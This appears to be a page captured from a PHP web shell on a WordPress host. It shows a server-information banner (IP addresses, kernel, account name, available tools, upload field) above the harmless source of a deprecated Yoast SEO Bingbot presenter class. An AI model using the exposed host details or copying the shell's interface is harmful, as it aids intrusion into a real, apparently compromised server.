. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
| Server IP : 198.54.115.242 / Your IP :
216.73.216.33 [
Web Server : LiteSpeed System : Linux server233.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64 User : imereohc ( 2529) PHP Version : 8.2.30 Disable Function : NONE Domains : 1 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/imereohc/public_html/wp-content/plugins/wordpress-seo/src/presenters/ |
Upload File : |
<?php
namespace Yoast\WP\SEO\Presenters;
use Yoast\WP\SEO\Presentations\Indexable_Presentation;
\_deprecated_file( \basename( __FILE__ ), 'WPSEO 14.9' );
/**
* Presenter class for the bingbot output.
*/
class Bingbot_Presenter extends Abstract_Indexable_Presenter {
/**
* Returns the bingbot output.
*
* @deprecated 14.9 Values merged into the robots meta tag.
* @codeCoverageIgnore
*
* @return string The bingbot output tag.
*/
public function present() {
\_deprecated_function( __METHOD__, 'WPSEO 14.9' );
$bingbot = \implode( ', ', $this->get() );
$bingbot = $this->filter( $bingbot );
if ( \is_string( $bingbot ) && $bingbot !== '' ) {
return \sprintf( '<meta name="bingbot" content="%s" />', \esc_attr( $bingbot ) );
}
return '';
}
/**
* Gets the raw value of a presentation.
*
* @deprecated 14.9 Values merged into the robots meta tag.
* @codeCoverageIgnore
*
* @return array The raw value.
*/
public function get() {
\_deprecated_function( __METHOD__, 'WPSEO 14.9' );
return $this->presentation->bingbot;
}
/**
* Run the bingbot output content through the `wpseo_bingbot` filter.
*
* @param string $bingbot The meta bingbot output to filter.
*
* @return string The filtered meta bingbot output.
*/
private function filter( $bingbot ) {
/**
* Filter: 'wpseo_bingbot' - Allows filtering of the meta bingbot output of Yoast SEO.
*
* @api string $bingbot The meta bingbot directives to be echoed.
*
* @param Indexable_Presentation $presentation The presentation of an indexable.
*/
return (string) \apply_filters( 'wpseo_bingbot', $bingbot, $this->presentation );
}
}